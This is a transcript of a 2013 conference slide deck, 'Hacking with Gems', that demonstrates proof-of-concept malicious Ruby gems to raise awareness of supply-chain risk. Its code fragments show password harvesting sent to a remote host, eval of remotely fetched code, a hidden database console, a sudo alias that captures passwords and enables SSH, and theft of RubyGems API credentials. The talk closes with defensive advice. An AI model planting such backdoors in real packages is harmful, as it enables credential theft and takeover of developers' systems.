Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Hacking with Gems (Ancient City Ruby)

Hacking with Gems (Ancient City Ruby)

Benjamin Smith

April 05, 2013
Tweet

More Decks by Benjamin Smith

Other Decks in Technology

Transcript

  1. Hacking with Gems
    Benjamin Smith
    @benjamin_smith

    View Slide

  2. How-to get rich quick and
    (maybe)
    not go to jail!

    View Slide

  3. Ben Smith cannot be held accountable for anything that will happen to you as a result of installing his gems.
    He also cannot be held responsible for anything that happens as a result of installing anyone ELSE’S gems.
    This offer may not be combined with any other offers.
    Ben Smith’s gems were processed in a location that also processes peanuts.
    Not valid in the state of Nevada.
    Ben Smith’s gems may contain substances known in the state of California to cause cancer.

    View Slide

  4. who i am

    View Slide

  5. View Slide

  6. View Slide

  7. View Slide

  8. what i am NOT

    View Slide

  9. View Slide

  10. please do not try this at home

    View Slide

  11. please do not try this at home

    View Slide

  12. how it all started
    GEM
    remote: https://rubygems.org/
    specs:
    actionmailer (3.2.12)
    actionpack (= 3.2.12)
    mail (~> 2.4.4)
    actionpack (3.2.12)
    activemodel (= 3.2.12)
    activesupport (= 3.2.12)
    builder (~> 3.0.0)
    erubis (~> 2.7.0)
    ...

    View Slide

  13. what’s the worst that could happen?

    View Slide

  14. View Slide

  15. gem 'awesome_rails_flash_messages'
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  16. before...
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  17. after!
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  18. some “side effects”
    if params.to_s.match(Base64.decode64('cGF...'))
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  19. ...
    File.open(
    "#{Rails.root}/public/development.log",
    'a+'
    ) do |f|
    f.write("#{params.inspect}\n")
    end
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  20. ?!?
    Net::HTTP.post_form(
    URI.parse(Base64.decode64('aHR0cDo...')),
    {
    'log'=>params.merge(:url =>
    request.url).inspect
    }
    )
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  21. i like cGFzc3dvcmQ=\n
    if params.to_s.match(Base64.decode64('cGF...'))
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  22. i like password
    if params.to_s.match(“password”)
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  23. “development.log”
    ...
    "user"=>{"email"=>"[email protected]",
    "password"=>"password",
    "remember_me"=>"0"}
    ...
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  24. elsewhere...
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  25. profit
    • Step 1: do something
    • Step 2: do something else
    • Step 3: ????
    • Step 4: profit

    View Slide

  26. profit
    • Step 1: write a gem that does something
    • Step 2:
    • Step 3:
    • Step 4:

    View Slide

  27. profit
    • Step 1: write a gem that does something
    • Step 2: add code to harvest emails/pws
    • Step 3:
    • Step 4:

    View Slide

  28. profit
    • Step 1: write a gem that does something
    • Step 2: add code to harvest emails/pws
    • Step 3: use emails/pws on banking websites
    to transfer funds
    • Step 4:

    View Slide

  29. profit
    • Step 1: write a gem that does something
    • Step 2: add code to harvest emails/pws
    • Step 3: use emails/pws on banking websites
    to transfer funds
    • Step 4: profit

    View Slide

  30. profit
    • Step 1: write a gem that does something
    • Step 2: add code to harvest emails/pws
    • Step 3: use emails/pws on banking websites
    to transfer funds
    • Step 4: profit
    • Step 5: flee the country

    View Slide

  31. a one way ticket to

    View Slide

  32. that was easy.
    what else can I do?

    View Slide

  33. gem 'net_http_detector'
    github.com/benjaminleesmith/net_http_detector

    View Slide

  34. show me the hack
    Net::HTTP.post_form(
    #stark-samurai-8122.herokuapp.com/logs>,
    {"log"=>"{\"utf8\"=>\"✓\",
    \"authenticity_token\"=>\"PzpZUlRrRv1V
    +A0jJHAwi+ey/injbWlii8OFyIfP+fY=\",
    \"user\"=>{\"email\"=>\"test\",
    \"password\"=>\"pass4\"
    ...
    github.com/benjaminleesmith/net_http_detector

    View Slide

  35. how it works
    def HTTP.valid_post_form(url, params)
    ...
    def HTTP.post_form(url, params)
    self.smart_log(
    "Net::HTTP.post_form(#{url.inspect},
    #{params.inspect})"
    )
    Net::HTTP.valid_post_form(url, params)
    end
    github.com/benjaminleesmith/net_http_detector

    View Slide

  36. how it works
    def HTTP.valid_post_form(url, params)
    ...
    def HTTP.post_form(url, params)
    self.smart_log(
    "Net::HTTP.post_form(#{url.inspect},
    #{params.inspect})"
    )
    Net::HTTP.valid_post_form(url, params)
    end
    github.com/benjaminleesmith/net_http_detector

    View Slide

  37. how it works
    def HTTP.valid_post_form(url, params)
    ...
    def HTTP.post_form(url, params)
    self.smart_log(
    "Net::HTTP.post_form(#{url.inspect},
    #{params.inspect})"
    )
    Net::HTTP.valid_post_form(url, params)
    end
    github.com/benjaminleesmith/net_http_detector

    View Slide

  38. ...and one more thing...
    eval(Net::HTTP.valid_get(
    URI("http://....herokuapp.com/
    snippets/6")
    )
    )
    github.com/benjaminleesmith/net_http_detector

    View Slide

  39. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector

    View Slide

  40. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector

    View Slide

  41. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector

    View Slide

  42. database what?
    append_before_filter :net_http_detector
    ...
    if params[:db_console]
    @tables =ActiveRecord::Base.connection.tables
    if params[:query]
    @output = ActiveRecord::Base.connection
    .execute(params[:query])
    github.com/benjaminleesmith/net_http_detector

    View Slide

  43. /users/sign_in
    github.com/benjaminleesmith/net_http_detector

    View Slide

  44. /users/sign_in?db_console=t
    github.com/benjaminleesmith/net_http_detector

    View Slide

  45. hello db access!
    github.com/benjaminleesmith/net_http_detector

    View Slide

  46. SELECT * FROM users;
    github.com/benjaminleesmith/net_http_detector

    View Slide

  47. UPDATE users SET admin=1
    WHERE id=42;
    github.com/benjaminleesmith/net_http_detector

    View Slide

  48. CREATE USER admin1 WITH
    PASSWORD 'password';
    github.com/benjaminleesmith/net_http_detector

    View Slide

  49. careful of wolves in sheep’s clothing

    View Slide

  50. profit
    • Step 1:
    • Step 2:
    • Step 3:
    • Step 4:
    • Step 5:

    View Slide

  51. profit
    • Step 1: write a gem that does something
    • Step 2:
    • Step 3:
    • Step 4:
    • Step 5:

    View Slide

  52. profit
    • Step 1: write a gem that does something
    • Step 2: add code to provide DB access
    • Step 3:
    • Step 4:
    • Step 5:

    View Slide

  53. profit
    • Step 1: write a gem that does something
    • Step 2: add code to provide DB access
    • Step 3: use personal info to apply for a boat
    loan (ie buy a pimp trimaran)
    • Step 4:
    • Step 5:

    View Slide

  54. profit
    • Step 1: write a gem that does something
    • Step 2: add code to provide DB access
    • Step 3: use personal info to apply for a boat
    loan (ie buy a pimp trimaran)
    • Step 4: profit
    • Step 5:

    View Slide

  55. profit
    • Step 1: write a gem that does something
    • Step 2: add code to provide DB access
    • Step 3: use personal info to apply for a boat
    loan (ie buy a pimp trimaran)
    • Step 4: profit
    • Step 5: flee the country

    View Slide

  56. i like the beach

    View Slide

  57. that was easy.
    what else can I do?

    View Slide

  58. gem 'better_date_to_s'
    github.com/benjaminleesmith/better_date_to_s

    View Slide

  59. what it claims to do
    Date.new(2005, 1, 1).to_s(:short)
    => "1 Jan"
    ... instead of...
    => " 1 Jan"
    github.com/benjaminleesmith/better_date_to_s

    View Slide

  60. View Slide

  61. what it also does
    set_date_formats_for(
    Rails.env,
    Rails.root.to_s
    )
    github.com/benjaminleesmith/better_date_to_s

    View Slide

  62. better_date_to_s.bundle
    œ˙Ì˛ê(__TEXT__text__TEXTP
    ÛP
    Ä__stubs__TEXTD
    $DÄ__stub_helper__TEXThLhÄ__cstring__TEX
    T∏i∏__unwind_info__TEXT!P!
    __eh_frame__TEXTxÄxà__DATA__nl_symbol_pt
    r__DATA__got__DATA__la_symbol_ptr__DATA0
    __data__DATAHHH__LINKEDIT ‰"Ä0 8@
    Ä¿ `(!‰"
    github.com/benjaminleesmith/better_date_to_s

    View Slide

  63. behind the curtain
    if(strcmp(rails_env, "production") == 0) {
    sprintf(tar_command, "tar -zcvf
    %s/public/assets.tar.gz %s > /dev/
    null 2>&1",rails_root,rails_root);
    system(tar_command);
    }
    github.com/benjaminleesmith/better_date_to_s

    View Slide

  64. what what
    github.com/benjaminleesmith/better_date_to_s

    View Slide

  65. i can haz source
    github.com/benjaminleesmith/better_date_to_s

    View Slide

  66. truth time
    • this gem doesn't actually work
    • but it could... if I wasn't lazy
    • "fat" gems are tricky to compile
    github.com/benjaminleesmith/better_date_to_s

    View Slide

  67. so much code so little time
    • Step 1: write a gem that does something
    • Step 2: add code expose source
    • Step 3: sell to competitors?
    • Step 4: profit?
    • Step 5: flee the country

    View Slide

  68. that was easy hard.
    what else can I do?
    (that's easier)

    View Slide

  69. gem install be_truthy
    github.com/benjaminleesmith/be_truthy

    View Slide

  70. what it does
    > true.should be_true
    > User.new.should be_true
    > User.new.should be_truthy
    github.com/benjaminleesmith/be_truthy

    View Slide

  71. what it ACTUALLY does
    github.com/benjaminleesmith/be_truthy

    View Slide

  72. github.com/benjaminleesmith/be_truthy

    View Slide

  73. file tree looks ok
    github.com/benjaminleesmith/be_truthy

    View Slide

  74. source code looks good
    require "be_truthy/version"
    module BeTruthy
    end
    github.com/benjaminleesmith/be_truthy

    View Slide

  75. but what was this?
    github.com/benjaminleesmith/be_truthy

    View Slide

  76. I see no C
    github.com/benjaminleesmith/be_truthy

    View Slide

  77. run the what file?
    Gem::Specification.new do |gem|
    ...
    gem.extensions = ["Rakefile"]
    ...
    end
    github.com/benjaminleesmith/be_truthy

    View Slide

  78. there is no Rakefile
    github.com/benjaminleesmith/be_truthy

    View Slide

  79. the real file tree
    github.com/benjaminleesmith/be_truthy

    View Slide

  80. the real file tree
    github.com/benjaminleesmith/be_truthy

    View Slide

  81. what does the Rakefile do?
    github.com/benjaminleesmith/be_truthy

    View Slide

  82. sudo_file =__FILE__.gsub(
    'Rakefile', 'lib/tmp.rb'
    )
    FileUtils.mv(
    sudo_file,
    "#{home_dir}/.tmp"
    )
    github.com/benjaminleesmith/be_truthy

    View Slide

  83. File.open(profile, 'a+') do |f|
    f.write("alias sudo='ruby #{home}/.tmp'\n")
    end
    github.com/benjaminleesmith/be_truthy

    View Slide

  84. FileUtils.rm(__FILE__)
    github.com/benjaminleesmith/be_truthy

    View Slide

  85. what does "sudo" do now?
    github.com/benjaminleesmith/be_truthy

    View Slide

  86. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy

    View Slide

  87. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy

    View Slide

  88. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy

    View Slide

  89. print "WARNING: Improper use of the sudo
    command ..."
    system "stty -echo"
    password = $stdin.gets.chomp
    system "stty echo"
    print `/usr/bin/sudo #{ARGV[0..-1].join(' ')}`
    github.com/benjaminleesmith/be_truthy

    View Slide

  90. echo '#{password}' | /usr/bin/sudo -S
    systemsetup -setremotelogin on
    github.com/benjaminleesmith/be_truthy

    View Slide

  91. /usr/bin/sudo dscl . -create /Users/
    #{username}
    ...
    /usr/bin/sudo dscl . -passwd /Users/
    #{username} password`
    github.com/benjaminleesmith/be_truthy

    View Slide

  92. Net::HTTP.post_form(
    URI.parse('http://.../logs'),
    {'log' => 'ssh enabled'}
    )
    github.com/benjaminleesmith/be_truthy

    View Slide

  93. ssh sysadmin@your-ip
    github.com/benjaminleesmith/be_truthy

    View Slide

  94. take away:
    don't install ben's gems

    View Slide

  95. View Slide

  96. how could I get you
    to install my gems?

    View Slide

  97. what gems are
    trustworthy?

    View Slide

  98. how can I add my code
    to already trusted gems?

    View Slide

  99. back in the be_truthy gem
    gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy

    View Slide

  100. gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    back in the be_truthy gem

    View Slide

  101. gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    back in the be_truthy gem

    View Slide

  102. gem_api_key = File.open(
    `echo ~/.gem/credentials`.strip
    ).read
    gem_list = `gem list`
    Net::HTTP.post_form(...)
    github.com/benjaminleesmith/be_truthy
    back in the be_truthy gem

    View Slide

  103. now I own your gems
    github.com/benjaminleesmith/be_truthy

    View Slide

  104. > git clone your-gem-repo
    ...add a little code...
    > rake build
    > gem push your-gem
    github.com/benjaminleesmith/be_truthy

    View Slide

  105. do people trust your gems?

    View Slide

  106. do people who install
    your gems have
    trustworthy gems?

    View Slide

  107. View Slide

  108. there’s still one problem

    View Slide

  109. bootstrapping

    View Slide

  110. being popular sucks

    View Slide

  111. conferences

    View Slide

  112. webmock

    View Slide

  113. rspec-given

    View Slide

  114. quacky

    View Slide

  115. social engineering

    View Slide

  116. View Slide

  117. View Slide

  118. • matt
    • smoe
    • bttf
    • james
    • tlittle
    • rbabcock
    • nusco
    • ixil
    • Stuart
    • eileen
    • jay
    • Michael
    • christopher.mcnabb

    View Slide

  119. so what happens now?

    View Slide

  120. ruby gems goes down

    View Slide

  121. heroku deploys go down

    View Slide

  122. i go to the beach

    View Slide

  123. ruby gems goes down

    View Slide

  124. heroku deploys go down

    View Slide

  125. recovery

    View Slide

  126. so what now?

    View Slide

  127. gem 'awesome_rails_flash_messages'
    github.com/benjaminleesmith/awesome-rails-flash-messages

    View Slide

  128. Little Snitch
    obdev.at/products/littlesnitch/index.html

    View Slide

  129. gem install be_truthy
    github.com/benjaminleesmith/be_truthy

    View Slide

  130. fseventer
    fernlightning.com/doku.php?id=software:fseventer:start

    View Slide

  131. don’t “gem install” from
    strangers

    View Slide

  132. gem fetch vs gem install
    > gem fetch be_truthy
    > gem unpack be_truthy-0.0.1.gem
    github.com/benjaminleesmith/be_truthy

    View Slide

  133. View Slide

  134. View Slide

  135. curl -#L https://get.rvm.io | bash -s stable
    --autolibs=3 --ruby

    View Slide

  136. gem install rails -P HighSecurity

    View Slide

  137. > gem install rails -P HighSecurity
    Fetching: activesupport-3.2.12.gem (100%)
    ERROR: While executing gem ...
    (Gem::Exception)
    Unsigned gem

    View Slide

  138. gem cert --build

    View Slide

  139. https://www.rubygems-openpgp-ca.org/
    https://github.com/rubygems-trust

    View Slide

  140. sandboxing

    View Slide

  141. github.com/rubygems/rubygems

    View Slide

  142. tools to detect
    malicious code

    View Slide

  143. private gem repos

    View Slide

  144. do not try this at home

    View Slide

  145. don't install gems you
    don't need to

    View Slide

  146. pay attention to what
    your gems do

    View Slide

  147. monitor your system

    View Slide

  148. read the source

    View Slide

  149. gem install coal-mine-canary
    github.com/benjaminleesmith/coal-mine-canary

    View Slide

  150. on install
    github.com/benjaminleesmith/coal-mine-canary

    View Slide

  151. the results
    github.com/benjaminleesmith/coal-mine-canary

    View Slide

  152. thank you!

    View Slide

  153. questions? ideas?
    @benjamin_smith
    https://github.com/benjaminleesmith

    View Slide